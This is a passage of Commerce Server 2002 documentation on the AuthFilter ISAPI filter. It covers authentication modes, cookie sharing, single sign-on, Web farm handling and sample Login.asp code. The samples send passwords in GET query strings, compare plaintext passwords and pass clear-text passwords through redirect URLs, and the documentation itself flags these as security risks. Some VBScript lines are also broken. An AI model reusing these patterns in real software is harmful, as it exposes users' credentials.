If the MSCSAuth ticket the user submitted is not valid when requesting access to a page or directory, AuthFilter requires the user to enter login credentials. The login page sends the credentials, provided by the user, to AuthFilter. AuthFilter then checks if the password exists in the AuthFilter password cache. If the password does not exist in the AuthFilter password cache, AuthFilter places the password (entered by the user on the login page) in the cache.

Do not confuse Windows Authentication mode with Windows Authentication (Kerberos) for your databases.

Custom Authentication

In this mode, user credentials, for example user IDs and passwords, are authenticated against a SQL Server database or other type of database.

When you use Custom Authentication, login access is required for every page and directory in the Commerce Server site. AuthFilter checks against the virtual directory for the Commerce Server site, and it checks the Commerce Server Administration database to determine whether Custom Authentication is enabled for that site.

If the MSCSAuth ticket the user submitted is not valid when access is requested to an page or directory, AuthFilter requires the user to enter login information. When a user submits credentials to the login page, the login page obtains verification of the credentials from a SQL Server database, or other type of data source.

In this mode, AuthFilter allows the site designer to provide a custom authentication process to control access to the site while still using the basic services of AuthFilter. For more information about this mode, see Custom Authentication Mode. To use Custom Authentication, see Enabling Custom Authentication.

Autocookie Mode

In this mode, Authfilter checks to see if the request contains a valid MSCSProfile ticket. If a valid MSCProfile ticket is not found, then the request is redirected to the autocookie.asp page where a MSCSProfile ticket is issued to the user. A user that accesses your site using an MSCSProfile ticket is identified as an anonymous user.

Issuing MSCSProfile tickets to users enables you to collect profile data about how anonymous users navigate and use your site, without forcing these users to first register with your site.

When anonymous users register, the user ID in the MSCSProfile ticket can be updated programmatically so you do not lose the profile data gathered when the user was anonymous. You use the AuthManager object to programmatically add the update functionality, used to change the userid in the MSCSProfile ticket. (The registration page must perform this update by getting the correct GUID or user ID from the registered profile and using the SetProfileTicket() method to set it. This logic is necessary because the process for moving anonymous users to registered users depends on your application. For example, it depends on whether the same profile or a different profile is used.)

If you select both Autocookie mode and No Filter mode, then there are no registered users for your site.

For more information about this mode, see Autocookie Mode.

No Filter Mode

In this mode, AuthFilter is not enabled. The Solution Sites for Commerce Server 2002, by default, use the No Filter mode, and implement an authentication scheme based on AuthManager.

If you want to change the sites to take advantage of AuthFilter, you must make changes to the Login.asp and other helper pages for the sites. For more information, see Enabling AuthFilter for the Retail Solution Site and Enabling AuthFilter for the Supplier Solution Site.

Combination of Modes

When you use AuthFilter, you can choose the following combination of authentication modes:

  • Windows Authentication with Autocookie mode. This combination of modes allows both registered and anonymous users access to the site, and uses persistent cookies to track anonymous users. For more information about this mode, see Windows Authentication with Autocookie Mode.
  • Custom Authentication with Autocookie mode. This combination of modes allows both registered and anonymous users access to the site, and uses persistent cookies to track anonymous users. Instead of controlling access to individual files and folders using Windows ACLs, the site developer can supply a custom authentication process. For more information about this mode, see Custom Authentication with Autocookie Mode.

See Also

Windows Authentication Mode

Custom Authentication Mode

Autocookie Mode

Windows Authentication with Autocookie Mode

Custom Authentication with Autocookie Mode

Enabling Windows Authentication

Enabling Custom Authentication

Enabling Autocookie Mode


AuthFilter Initialization

The information provided in this topic is useful to site developers. It is important to know the process that AuthFilter takes during initialization to do the following:

  • Verify that AuthFilter initialized. You can do this using Internet Services Manager.
  • Verify that the csapp.ini file exists in the correct folder, and contains the correct information (for example, the correct site name). For information about the csapp.ini file, see Csapp.ini File.
  • Verify that the connection string to the Administration database is correct. This is necessary because AuthFilter makes a connection to the Administration database through the siteconfig object.
  • Verify that the COM+ application (siteconfig) is configured correctly. This is necessary because AuthFilter must be able to use the siteconfig COM+ application to query information from the Administration database.

When the Web site receives a first request from a user, AuthFilter does the following:

  1. The site name and application name are retrieved (using the SiteName and AddressKeyName property values stored in the Csapp.ini file).
  2. A global cache is created, which is used for storing site configuration authentication properties. There is one entry for each site, and each entry is a collection of the authentication properties for that site.
  3. The site cache is populated with the CS Authentication resource properties read from the Administration database using the SiteConfig object.


How AuthFilter Verifies Cookies

AuthFilter performs the following steps to check whether the client browser supports cookies:

  1. It sends a redirect to the browser while setting a cookie and setting a querystring flag. If the cookie comes back with the redirected query and querystring flag, then AuthFilter knows the browser supports cookies.
  2. If the browser does not support cookies, the redirected query returns without the cookie. AuthFilter detects the querystring flag (which is always returned) and redirects the browser to the Nocookie.asp page.
  3. This check only occurs at the beginning of a session when no cookie has been set and the user has not logged in.


AuthFilter and IIS Event Notifications

The information in this topic is provided for system administrators and site developers. It is important to know the events in which AuthFilter subscribes, for the following reasons:

  • You have configured IIS to run other ISAPI filters, and you want to ensure that the other filters are compatible with AuthFilter.
  • You want to write your own authentication filter to work in conjunction with AuthFilter.

AuthFilter monitors both incoming and outgoing streams of data. It registers with Internet Information Services (IIS) for notification of the following events:

  • SF_NOTIFY_ORDER_LOW. Load AuthFilter low so that authentication occurs at the end of a list of filters. This means that if other ISAPI filters are running in IIS, they will process requests before AuthFilter does. If the customer has ISAPI filters from other applications, or their own custom ISAPI filters, they can configure these ISAPI filters at a higher priority if they want those filters to process requests before AuthFilter does.
  • SF_NOTIFY_SECURE_PORT / SF_NOTIFY_NONSECURE_PORT. AuthFilter supports secure/non-secure requests based on the event.
  • SF_NOTIFY_PREPROC_HEADERS. A single SF_PREPROC_HEADERS. An event that occurs for each page request signaling that the server has finished preprocessing the header and is about to begin processing the information inside the header. It is at this point that AuthFilter checks cookies.
  • SF_NOTIFY_URL_MAP. For mapping the URL to a physical path, correcting the URL, if required, for case sensitive virtual directory roots. Used to retrieve CS Authentication resource properties.
  • SF_NOTIFY_AUTHENTICATION. A notification that is sent just before IIS attempts to authenticate the user. It is at this point that AuthFilter retrieves and sets the user ID and password.
  • SF_NOTIFY_ACCESS_DENIED. Access denied. AuthFilter redirects to a login page or error page as required.
  • SF_NOTIFY_SEND_RESPONSE. Used to read proxy account information from the redirect (302) query string and store in cache. Also used to format a custom redirect header and body containing the first requested URL.
  • SF_NOTIFY_SEND_RAW_DATA. Used to filter out the original redirect request while performing a custom redirect.
  • SF_NOTIFY_END_OF_REQUEST. End of a particular request. AuthFilter writes the custom redirect message back to the client.
  • SF_NOTIFY_AUTH_COMPLETE. Used for Outlook Web Access (OWA) integration.


AuthFilter Single Sign-on Support

With Single Sign-on (SSO) support, a user who successfully logs on to one site or server can access other sites and servers without logging on again. AuthFilter provides support for Single Sign On between domains, applications, and in a Web farm scenario.

Providing Single Sign-on support across domains and applications is accomplished using cookie sharing.

This section contains:

  • Overview of the DNS Domain Namespace
  • Cookie Sharing
  • Single Sign-on Between Domains
  • Authenticating Users in a Web Farm
  • AuthFilter Processing in a Web Farm


Overview of the DNS Domain Namespace

The DNS domain name space is made up of levels. The names of these levels, and the portion of the fully qualified domain name that they represent, are important to know when configuring Single Sign On Support/Cookie Sharing settings.

The following table describes the DNS domain levels that are important to understand when configuring Commerce Server.

Name Type | Description | Example
Top-level domain | A name of two or three letters used to indicate a country/region or the type of organization using a name. | ".com", which indicates a name registered to a business for commercial use on the Internet.
Second-level domain | Variable-length names registered to an individual or organization for use on the Internet. These names are always based upon an appropriate top-level domain, depending on the type of organization or geographic location where a name is used. | "microsoft.com.", which is the second-level domain name registered to Microsoft by the Internet DNS domain name registrar.
Sub-domain | Additional names that an organization can create that are derived from the registered second-level domain name. These include names added to grow the DNS tree of names in an organization and divide it into departments or geographic locations. | "example.microsoft.com.", which is a fictitious subdomain assigned by Microsoft for use in documentation example names.

For more information about the DNS domain names architecture, see the DNS domain names topic in the Windows 2000 online help.


Cookie Sharing

With AuthFilter enabled, you can share cookies across multiple domains and applications to track users that are redirected to multiple domains and applications. Cookie sharing is accomplished by setting two properties on the cookie, domain and path. This resembles the following:

";domain=DomainName;path=Path"

The domain property is used to specify the domains for which the cookie is valid. The path property is used to specify the subset of URLs in the domain for which the cookie is valid.

Before sending a request, the client browser checks to see if a cookie is available containing a domain property that matches the tail of the fully qualified domain name of the host specified in the requested URL. If such a cookie exists, the path property of the cookie is compared to the path name component of the requested URL. If they match, the cookie is sent with the request.

On the server side, if the value of the domain property is not specified when the property is set, it defaults to the host name of the server that generated the cookie. Only hosts within the specified domain can set the domain property on the cookie. The most general path property is '/'. If the path property is not specified, it defaults to the path of the virtual directory of the IIS application that generated the cookie.

In Commerce Server 2002, each site creates its own cookies by default; however, AuthFilter allows these cookies to be shared.

This section contains:

  • Enabling Cookie Sharing across Domains
  • Enabling Cookie Sharing Across Applications


Enabling Cookie Sharing Across Domains

You can share cookies across domains. In order to do this, your domains must have a common second-level domain name. For example, msdn.microsoft.com and premier.microsoft.com can share cookies with the domain property set to .microsoft.com, because .microsoft.com is the name of the second-level domain for msdn.microsoft.com and premier.microsoft.com. You cannot set the domain property to only the top-level domain, for example .com.

For more information about domain levels, see Overview of the DNS Domain Namespace.

To enable cookie sharing across domains

  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, right-click the application you want to configure, and then click Properties.
  3. In the Number of shared domain levels box, specify how many domain levels must be in common in order to share a cookie.

    For example, to enable cookie sharing across the premier.microsoft.com and msdn.microsoft.com sub-domains, set this value to 2.

    Note

    The number 2 in this case is calculated by adding the top-level domain (.com) and the second-level domain (microsoft.com), there are 2 domain levels. Therefore, any sub-domain of the microsoft.com domain, such as msdn.microsoft.com and premier.microsoft.com can share cookies.

  4. Click OK.
  5. Restart IIS. For instructions, see Restarting IIS and Commerce Server Services.

Note

  • If you are using encryption to encrypt tickets, verify that the encryption key is the same on both domains. It is recommended that you encrypt cookies because they contain authentication tickets. For information about encrypting cookies, see Summary of Cookie Features. For information about generating a new encryption key, see Generating a New Cookie Encryption Key.

See Also

Cookie Sharing

Overview of the DNS Domain Namespace

Managing Encrypted Profile Properties

Rolling Key Encryption for Authentication Tickets


Enabling Cookie Sharing across Applications

To share cookies across applications, you set the path property on the cookie to the application path. For example, you would set the path to /retail to share the cookie across all applications in the retail site. To share cookies between applications that do not have the same virtual directory name, you must set the path to the root "/" level.

To enable cookie sharing across applications in the same site

  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, right-click the application you want to configure, and then click Properties.
  3. Uncheck the Set cookie path to application check box, and then click OK.

    Note

    • This causes the host to set the path property to '/'.
  4. Restart IIS using the net stop and net start commands. For instructions, see Restarting IIS and Commerce Server Services.

Notes

  • If you are using encryption, verify that the encryption key is the same on both applications. It is recommended that you encrypt cookies because they contain authentication tickets. For information about encrypting cookies, see Summary of Cookie Features. For information about generating a new encryption key, see Generating a New Cookie Encryption Key.
  • If the CookiePath_ApplicationScope property is selected, the path property is set to the current application path.

See Also

Cookie Sharing

Overview of the DNS Domain Namespace

Exchange 2000 Outlook Web Access Basic Authentication

Authentication Concepts

Configuring an Application

BDSecurity Object

AuthManager Object

Managing Encrypted Profile Properties


Single Sign-on Between Domains

You can use Single Sign-on (SSO) between domains, when you have different sites in two different sub-domains, but within the same second-level domain. This topic requires that you must understand the terminology of the DNS domain namespace. For information about the DNS Domain Namespace, see Overview of the DNS Namespace.

To implement multi-domain, single login support, you must share cookies between domains using their domain property. This works only if the domains have a common top-level and second-level domain names. For example, the top-level domain name for microsoft.com is .com, and the second-level domain name for microsoft.com is microsoft.com. Therefore, premier.microsoft.com and msdn.microsoft.com both share the same top-level and second level domain names and can share cookies.

Note

  • When sharing cookies between domains, you must share at least two domain levels. However, you can share more than two domain levels.

Two domains such as microsoft.com and microsoft.uk cannot share cookies because their top-level domain names (in this case .com and .uk) are dissimilar. In this scenario, the user is required to log in again when switching between these domains.

To enable a SSO capability between domains with differing top-level domain names, you can use Passport integration. For more information about Passport integration, see Integrating with Passport.

To enable single sign on support between domains, see one of the following topics:

  • Enabling Cookie Sharing Across Applications
  • Enabling Cookie Sharing across Domains


Authenticating Users in a Web Farm

Single Sign-on (SSO) in a Web farm scenario is supported using AuthFilter in either Custom Authentication or Windows Authentication mode.

  • Custom Authentication mode. When a user logs in to your site, Commerce Server authenticates the user by verifying the login and password, supplied by the user on the login page, against the login and password stored in the Profiles data store. After Commerce Server verifies the user information, it issues a MSCSAuth ticket, and passes the credentials to AuthFilter to store in its cache for the application. The cookie specifies that the user is authenticated and is allowed to access secured pages on your site.
  • Windows Authentication mode. No verification is necessary in the Login.asp page. Instead, the login page issues an MSCSAuth ticket and sends the user credentials to AuthFilter. AuthFilter then uses these credentials to populate the authentication header, to allow IIS to authenticate the request against Active Directory.

In a Web server farm scenario, if a user is authenticated on one Web server, and then is redirected or load-balanced to another Web server, the second Web server does not prompt the user to log in again. To support this functionality, you can enable AuthFilter, which Commerce Server installs at the IIS Web site level. When the user is redirected to the second Web server, the ISAPI filter reads the user cookie and identifies that the cookie contains the user ID and that it is valid. If you are using Custom Authentication mode, no other steps are performed. If you are using Windows Authentication mode, Commerce Server performs the following steps:

  1. Because AuthFilter does not have the credentials for the user in its cache (this is the first time the user is requesting access to a page from this server), Authfilter redirects the request to Login.asp.
  2. On Login.asp, because the request has a valid MSCSAuth ticket, using the user ID in the ticket, a query is made to the Profiles data store for the user profile. This returns the user login ID and password in clear text.

    Important

    • This step requires that you have stored clear-text passwords in either Active Directory or a custom cache. Storing clear-text passwords is a security risk because they are inherently less secure than encrypted passwords.
    • The site developer must provide this functionality. For more information, see Clear Text Passwords.
  3. Code in the Login.asp page appends the login ID and password to the URL, and then redirects the request to the URL requested originally.
  4. AuthFilter intercepts the request for the secured page, and removes the user ID and password from the URL and stores the login ID and password in its cache.
  5. AuthFilter then displays the secured page to the user. The user ID and password are not transmitted to the user.


AuthFilter Processing in a Web Farm

In a Web farm, AuthFilter allows an authenticated user on one server access to a site on another server without the user having to resubmit login information. However, if the request is sent with the Post method using non-sticky sessions, any information contained in the header body is lost during the required redirection. Only use the Post method with sticky sessions. If you use non-sticky sessions, always use the Get method and HTTPS. When the authenticated user arrives at a new server for the first time, the following steps are performed:

  1. AuthFilter checks for the correct URL (and auto-corrects for case sensitivity).
  2. AuthFilter checks for session-cookie support.
  3. AuthFilter checks for the MSCSAuth ticket.
  4. AuthFilter checks that the MSCSAuth ticket is valid (by comparing the current time to the last login time plus the time window specified on the ticket).
  5. Since the password cache is not shared between hosts, and this is the first time the user visited this site, there is no entry in the cache corresponding to the user ID in the ticket. Detecting this, AuthFilter resets the MSCSFirstRequestedURL cookie property to the current requested URL.
  6. Processing is passed to the login page.
  7. On the login page, it is verified that this is not a Submit action, and the user has a valid MSCSAuth ticket. The user ID is retrieved from the ticket and used to retrieve the profile of the user.
  8. The password of the user is retrieved from the profile and appended to the requested URL query string along with the user ID. The password must be available in clear text.

    Note

    • This step requires that you have stored clear-text passwords in either Active Directory or a custom cache. Storing clear-text passwords is a security risk because they are inherently less secure than encrypted passwords. For more information about using a clear-text password, see Clear Text Passwords.
  9. The user is redirected to the requested URL and, when notified of the event by IIS, AuthFilter removes the user ID and password from the query string and places them into the cache.
  10. When the browser resubmits the request, AuthFilter checks the cache, finds the corresponding entry, and checks if the current time is within the time window.
  11. If the current time is within the time window, AuthFilter sets the user ID and password for the request and allows it continue.
  12. If the user has access rights to the requested URL, it is processed and returned by IIS.

Note

  • For Custom Authentication, the password cache is not used, therefore when a request is redirected to a new server, Authfilter on that server only verifies that the MSCSAuth ticket contained in the request is valid, and if valid, allows the request to proceed, otherwise it redirects the request to the Login.asp page.


AuthFilter and the Retail Solution Site

This section provides step-by-step instructions for enabling AuthFilter for the Retail Solution Site. It includes sample login.asp code, necessary for enabling AuthFilter for the Retail Solution Site, and important scenario-specific information.

This section contains:

  • Enabling AuthFilter for the Retail Solution Site
  • Important Information About AuthFilter for the Retail Solution Site
  • Login.asp Code for the Retail Solution Site


Enabling AuthFilter for the Retail Solution Site

Notes

  • Before performing these steps, it is recommended that you read Important Information About AuthFilter for the Retail Solution Site.
  • For the Login.asp page for AuthFilter for the Retail Solution site, see Login.asp Code for the Retail Solution Site.

To enable AuthFilter on the Retail Solution Site

  1. Use Commerce Server Site Packager to unpack the Retail Solution Site.
  2. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  3. Expand Applications, right-click the name of the application that you want to work with, and then click Properties.
  4. In the Properties dialog box, on the General tab, in the Authentication filter box, select either Windows Authentication or Custom Authentication, and then click OK.

    Note

    • It is recommended that you use Windows Authentication, which is inherently more secure than Custom Authentication. Windows Authentication stores passwords in Active Directory, whereas Custom Authentication stores passwords in a database.
  5. Use a text editor to open Authfiles\Login.asp for the Retail site.
  6. In Login.asp, verify that you have the included files that are in Retail\Login\Login.asp and the code matches with the example. To verify the code in the example, see Login.asp Code for the Retail Solution Site.
  7. Save and close the updated Login.asp page.
  8. Use the Users module in Commerce Server Business Desk to create a new user for the Retail site. For information, see Adding a User Profile.
  9. Use Internet Explorer to navigate to http://<computername>/Retail.

At the login page, type the user name and password if you are a registered user, or choose to register by clicking on the link at the bottom of the page.

The Login.asp page sets the MSCSAuth ticket for the registered user, retrieves the profile for the user, and populates the Web page using the profile information it retrieved.

If the profile cannot be found, the Login.asp page is displayed again with an error message, and presents the same two options to log in as before. If the user name or password is not valid, then Login.asp is displayed again, but without an error message. To add a registration or new user page to your Web site using AuthFilter, follow the instructions for the Login.asp page.

See Also

Important Information about AuthFilter for the Retail Solution Site

Login.asp Code for the Retail Solution Site


Important Information About AuthFilter for the Retail Solution Site

  • If you unpack a site to the root directory on IIS with AuthFilter enabled, you must clear the application level property check box, Set cookie path to application. This property represents the path property set on cookies. By default the Flag is enabled to set this to the virtual directory of the site (for example, /retail). By clearing the check box, the root "/" is set as the path property for your cookies. After updating this property, you must restart IIS. For instructions, see Restarting IIS and Commerce Server Services.
  • Verify that you use Anonymous Access for all include, .gif, or helper files that are used by Login.asp.
  • For Windows Authentication, the default login page uses the GET action in Login-Submit. The POST action is also supported with Login.asp. For information about supporting the POST action, see the comments in Login.asp and follow those instructions.
  • There is a known security issue if you are using GET with Login.asp. When you use GET with Login.asp, it is recommended that you tell users who visit your site to set their browser to automatically clear the browser history after they log off, or have them clear the browser history manually. To avoid this security issue, use the POST method rather than the GET method. For more information about these methods, see Login Page: Get Method and Post Method.
  • In Windows Authentication, the following server variables are not set: AUTH_USER and AUTH_TYPE. The server variable LOGON_USER is set to the User ID that is used for logging in.
  • To use Secure Sockets Layer (SSL), you must set the Login Form property in CS Authentication to the full path. For instructions, see Configuring the CS Authentication Resource.
  • If you decide to enable AuthFilter after you have disabled it, you must manually re-apply Internet Information Services (IIS) 5.0 security settings. For instructions, see the IIS 5.0 Documentation.
  • After you change a CS Authentication property value in Commerce Server Manager, you must unload the commerce application from memory on each Web server for the change to take effect. For instructions, see Unloading an Application from Memory.

See Also

Adding a User Profile

Login.asp Code for the Retail Solution Site

Login.asp Code for the Supplier Solution Site

Unloading an Application from Memory

Configuring the CS Authentication Resource


Login.asp Code for the Retail Solution Site

Following is the code for the Login.asp page for the Retail Solution Site. If you choose to use AuthFilter for the Retail site, you must use this code for your site Login.asp. For more information, see Enabling AuthFilter for the Retail Solution Site.

<!-- #INCLUDE Virtual="retail/include/header.asp" -->
<!-- #INCLUDE Virtual="retail/include/const.asp" -->
<!-- #INCLUDE Virtual=" retail/include/html_lib.asp" -->
<!-- #INCLUDE Virtual="retail/include/form_lib.asp" -->
<!-- #INCLUDE Virtual="retail/include/std_access_lib.asp" -->
<!-- #INCLUDE Virtual="retail/include/std_profile_lib.asp" -->
<!-- #INCLUDE Virtual="retail/include/std_cookie_lib.asp" -->
<!-- #INCLUDE Virtual="retail/include/std_url_lib.asp" -->
<!-- #INCLUDE Virtual="retail/include/std_util_lib.asp" -->
<!-- #INCLUDE Virtual="retail/include/setupenv.asp" -->
<!-- #INCLUDE Virtual="retail/template/no_menu.asp" -->

<%
REM sample file for using with AuthFilter
REM This file handles Login for user
%>

<%

   Sub Main()
   End Sub

   Dim strSelect, strUsername, strPassword, strPWD, retAsp
   dim objAuth
   Dim strAuthErr, strSiteName, sUserID

   set objAuth = Server.CreateObject("Commerce.AuthManager")
   strSiteName = CStr(Application("MSCSCommerceSiteName"))
   objAuth.Initialize(strSiteName)

   'Get the hidden variable to determine if this is the first run of the page
   strSelect = Request.Querystring("realSubmit")

   'If users pressed the submit button
   if strSelect = "fromButton" then
      'authenticate the user
      strUsername = Request.Querystring("txtUsername")
      strPassword = Request.Querystring("txtPassword")

         if (strUsername = "") or (strPassword = "") then
            Response.Redirect "Login.asp"
         end If

         Set mscsUserProfile = GetUserProfileByLoginName(strUsername)
         if (mscsUserProfile is nothing) then
            Response.Redirect "Login.asp"
         end if

         if (mscsUserProfile.Fields("GeneralInfo.user_security_password").Value = strPassword) then
            sUserID = mscsUserProfile.Fields(GetQualifiedName(GENERAL_INFO_GROUP, FIELD_USER_ID)).Value
            ' for Custom/NT Auth
            objAuth.SetAuthTicket sUserID, 1, 90

            ' Go to the Original requested ASP which is stored in cookie MSCSFirstRequestedURL"
            retAsp = Request.Cookies("MSCSFirstRequestedURL")
            if (retAsp = "" Or IsNUll(retAsp)) then
            retAsp = objAuth.GetURL("default.asp", True, False)
            end if
            Response.Redirect retAsp
         else
            Response.Redirect "Login.asp"
         end if
   else
      PrintLogin
   End if
  Set objAuth = Nothing
  Set strUserName = “”
  Set strPassword = “”
  Set strPWD = “”
%>

<%Sub PrintLogin() %>
<HTML>
<HEAD>
<TITLE>Login</TITLE>
</HEAD>
<BODY>
<FORM NAME="frmLogin" ACTION="Login.asp" METHOD="GET">
<br>
<br>
<br>
<H2 ID=L_LoginForm_HTMLText>CS2K-LoginForm</H2><ID Id=L_EnterCredential_ErrorMessage>
To access authenticated content, please enter your UserID & Password</ID>
<br>
<br>
<br>

<H3 ID=L_UserName_HTMLText>Username:<INPUT TYPE="text" NAME="txtUsername" SIZE=32 MAXLENGTH=32><br><ID ID=L_UserPassword_HTMLText>
Password :</ID>
<INPUT TYPE="password" NAME="txtPassword" SIZE=32 MAXLENGTH=32></H3><br>
<br>

<INPUT type=HIDDEN name="realSubmit" value="fromButton">
<p align="left">
   <input type="submit" name="action" id=L_Submit_Button value="Submit">
   <input type="reset" name="action" id=L_Reset_Button value="Reset">
</p>
</FORM>

<H4>
<br>
<br>
<%
REM SOLUTION SITES: Retail
REM    need to add own registration file under '\AuthFiles\' sub-Dir Or
Copy ..\Retail\login\newuser.asp to '\AuthFiles\newuser.asp'
REM    in global.asa update: dictPages.NewUser = "AuthFiles/newuser.asp"
REM
%>
<A HRef="newuser.asp" ID=L_RegisterIf_HTMLText>Register if you are a new user
   (solution sites: need to add own registration file under '\AuthFiles\' sub-Dir Or
Copy ..\Retail\login\newuser.asp & update NewUser-File in Global.asa)</A>
<br>
</H4>

</BODY>
</HTML>
<%end sub%>

See Also

Enabling AuthFilter for the Retail Solution Site


AuthFilter and the SupplierAD Solution Site

This section provides step-by-step instructions for enabling AuthFilter for the SupplierAD Solution Site. It includes sample login.asp code, necessary for enabling AuthFilter for the SupplierAD Solution Site, and important scenario-specific information.

This section contains:

  • Enabling AuthFilter for the Supplier Solution Site
  • Important Information About AuthFilter for the Supplier Solution Site
  • Login.asp Code for the Supplier Solution Site


Enabling AuthFilter for the Supplier Solution Site

Notes

  • Before performing these steps, it is recommended that you read Important Information About AuthFilter for the Supplier Site.
  • For the Login.asp page for AuthFilter for the Supplier Solution site, see Login.asp Code for the Supplier Solution Site.

To use the Supplier Solution Site with AuthFilter in Windows Authentication mode, you need to set the security mode on your domain controller to log on locally. For instructions, see Setting the Security Mode on the Web Server.

Only Basic Authentication should be enabled on the Supplier Solution Site. Do not change any other security settings. See the IIS online help for more information.

The AuthFiles subfolder and all pages in it should have only anonymous access enabled.

If your domain controller and Web server are installed on different computers in the same domain, then AuthFilter must have an anonymous account on the Web server in order to execute the method ProfileService.GetUserProfileByKey() on the Login page successfully for any profile/user.

By default, an anonymous user account is IUSR_<servername>. In Internet Services Manager, IUSR_<servername> does not have sufficient permissions to execute this successfully in this scenario. In addition, if your Web server is different from your domain-controller server, you must add a user account from that domain as the anonymous account. To do this you first create on the domain a user account that has access to read the user properties from Active Directory. Then on the Web server, use IIS Manager to set up the same user account as the anonymous account for the AuthFiles subfolder and all the files in that subfolder.

Note

  • It is recommended that you use a separate Web server and domain controller server. With separate servers, the passwords stored in Active Directory on the domain controller remain secure even if your Web server is attacked. Also, using separate servers improves performance, because Web servers use most of the random access memory (RAM) for a file cache, and are CPU-intensive when ASP pages are used.

To enable AuthFilter on the Supplier Solution Site

  1. Use Commerce Server Site Packager to unpack the Supplier Solution Site.
  2. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  3. Expand Applications, right-click the name of the application that you want to work with, and then click Properties.
  4. In the Properties dialog box, on the General tab, in the Authentication filter box, select either Windows Authentication or Custom Authentication, and then click OK.

    Note

    • It is recommended that you use Windows Authentication, which is more secure than Custom Authentication. Windows Authentication stores passwords in Active Directory; Custom Authentication stores passwords in a database.
  5. Expand Internet Information Services, right-click the Supplier site, and then click Properties.
  6. In the Properties dialog box, on the Directory Security tab, in the Anonymous access and authentication control section, click Edit.
  7. In the Authentication Methods dialog box, clear the Integrated Windows authentication box.

    Note

    • Only Basic Authentication should be enabled on the Supplier Solution Site. Do not change any other security settings.
  8. Use a text editor to open Authfiles\Login.asp for the Supplier site.
  9. If you are using a Web farm, or if you require proxy account support, in Login.asp, update the code so it matches the code shown in the topic, Login.asp Code for the Supplier Solution Site.

    Important

    • If this is a single server that requires no support for proxy accounts, you do not need to update the Login.asp page.
  10. For Windows Authentication, change the GetUserInfo() method in \SupplierAD\include\Std_access_lib.asp to the following:
    Sub GetUserInfo()
    Dim sAuthUser, mscsUser
    Dim aName

    If dictConfig.i_DelegatedAdminOptions = DELEGATED_ADMIN_SUPPORTED Then
       sAuthUser = LoginName(Request.ServerVariables("LOGON_USER"))
Else
       sAuthUser = ""
End If
        Rem Integrated Windows and basic auth take precedence over HTML form auth
        If sAuthUser <> "" Then
            m_UserAccessType = IIS_AUTH ' BASIC_AUTH
            m_UserType = AUTH_USER
            Set mscsUser = GetUserProfileByLoginName(sAuthUser)
            If mscsUser Is Nothing Then
               m_UserID = ""
            Else
               m_UserID = mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, USER_ID)).Value
            End If
        Else
            If mscsAuthMgr.IsAuthenticated() Then
              sAuthUser = mscsAuthMgr.GetUserID(AUTH_TICKET)
              Set mscsUser = GetUserProfileByLoginName(sAuthUser)
                If mscsUser Is Nothing Then
                   m_UserID = ""
                Else
                  m_UserID = mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, USER_ID)).Value
                End If
              m_UserAccessType = TICKET_AUTH
              m_UserType = AUTH_USER
            Else
                If Not IsNull(mscsAuthMgr.GetUserID(GUEST_TICKET)) Then
                   m_UserID = mscsAuthMgr.GetUserID(GUEST_TICKET)
                   m_UserAccessType = GUEST_VISIT
                   m_UserType = GUEST_USER
                Else
                   m_UserID = ""
                   m_UserAccessType = ANON_VISIT
                   m_UserType = ANON_USER
                End If
            End If
        End If
End Sub

  Function LoginName(ByVal sUserName)
    Dim aName

    If (sUserName = "") Then
      Exit Function
    End IF
    aName = Split (sUserName, "\")
    LoginName = aName(UBound(aName))
  End Function
  11. For Windows Authentication, in the PrepareLoginSection method in \SupplierAD\template\menu.asp, change the code in a Request.ServerVariables string that is referring to the "AUTH_USER" server variable to refer to the "LOGON_USER" server variable. For example:

    Before: sAuthUser = Request.ServerVariables("AUTH_USER")

    After: sAuthUser = Request.ServerVariables("LOGON_USER")

  12. Save and close the updated Login.asp and Menu.asp pages.
  13. Use Business Desk to create a new user for the Supplier site.

    Important

    • You must create an Organization before adding any users or creating new users for it.
  14. Use Internet Explorer to navigate to http://<computername>/SupplierAD.
  15. At the login page, type the user name using DomainName\userID or User Principal Name (UPN) format. (You can add logic to Login.asp to add these to the userID/name).

    Note

    • If you have a partitioned Active Directory/SQL Server user profile, enter only <username>@ on the logon page,.where <username> is your userID. In this scenario, AuthFilter resolves the domain name from the username.
  16. At the login page, type the password if you are a registered user, or choose to register by clicking the link at the bottom of the page. (You need to add your own registration page on which you can create accounts on Active Directory.)

The Login.asp page sets the MSCSAuth ticket for the registered user, retrieves the profile for the user, and checks credentials if required. The request populates the default Web page using the profile information it retrieved.

If the user name or password is not valid or if the profile could not be found, the Login.asp page is displayed again with an error message, and presents the same two options to log in as before.


Important Information About AuthFilter for the Supplier Solution Site

  • If you unpack a site to the root directory on IIS with AuthFilter enabled, you must clear the application level property check box, Set cookie path to application. This property represents the path property set on cookies. By default the Flag is enabled to set this to the virtual directory of the site (for example, /retail). By clearing the box, you are setting the root "/" as the path property for your cookies. After updating this property, you must restart IIS using net start w3svc command. For instructions, see Restarting IIS and Commerce Server Services.
  • Verify that you use Anonymous Access for all include, .gif, or helper files that are used by Login.asp.
  • For Windows Authentication, the default login page uses the GET action in Login-Submit. The POST action is also supported with Login.asp. For information about supporting the POST action, see the comments in Login.asp and follow those instructions.
  • There is a known security issue if you are using GET with Login.asp. It is recommended that you tell users who visit your site to set their browser to automatically clear the browser history after they log off or have them clear the browser history manually.
  • In Windows Authentication, the following server variables are not set: AUTH_USER and AUTH_TYPE. The server variable LOGON_USER is set to the User ID, which is used for logging in.
  • To use Secure Sockets Layer (SSL), you must set the Login Form property in CS Authentication to the full path. For instructions, see Configuring the CS Authentication Resource.

See Also

Login.asp Code for the Supplier Solution Site

Restarting IIS and Commerce Server Services


Login.asp Code for the Supplier Solution Site

Following is the code for the Login.asp page for the Supplier Solution Site. This modified Login.asp is only required if the domain controller is separate from the Commerce Server installation. You do not need to use this code in other scenarios. If you put this Login.asp on a single computer configuration, it causes the login prompt to appear twice, requiring the user to logon twice.

For more information, see Enabling AuthFilter for the Supplier Solution Site.

<!-- #INCLUDE Virtual="supplierad/include/header.asp" -->
<!-- #INCLUDE Virtual="supplierad/include/const.asp" -->
<!-- #INCLUDE Virtual="supplierad/include/html_lib.asp" -->
<!-- #INCLUDE Virtual="supplierad/include/form_lib.asp" -->
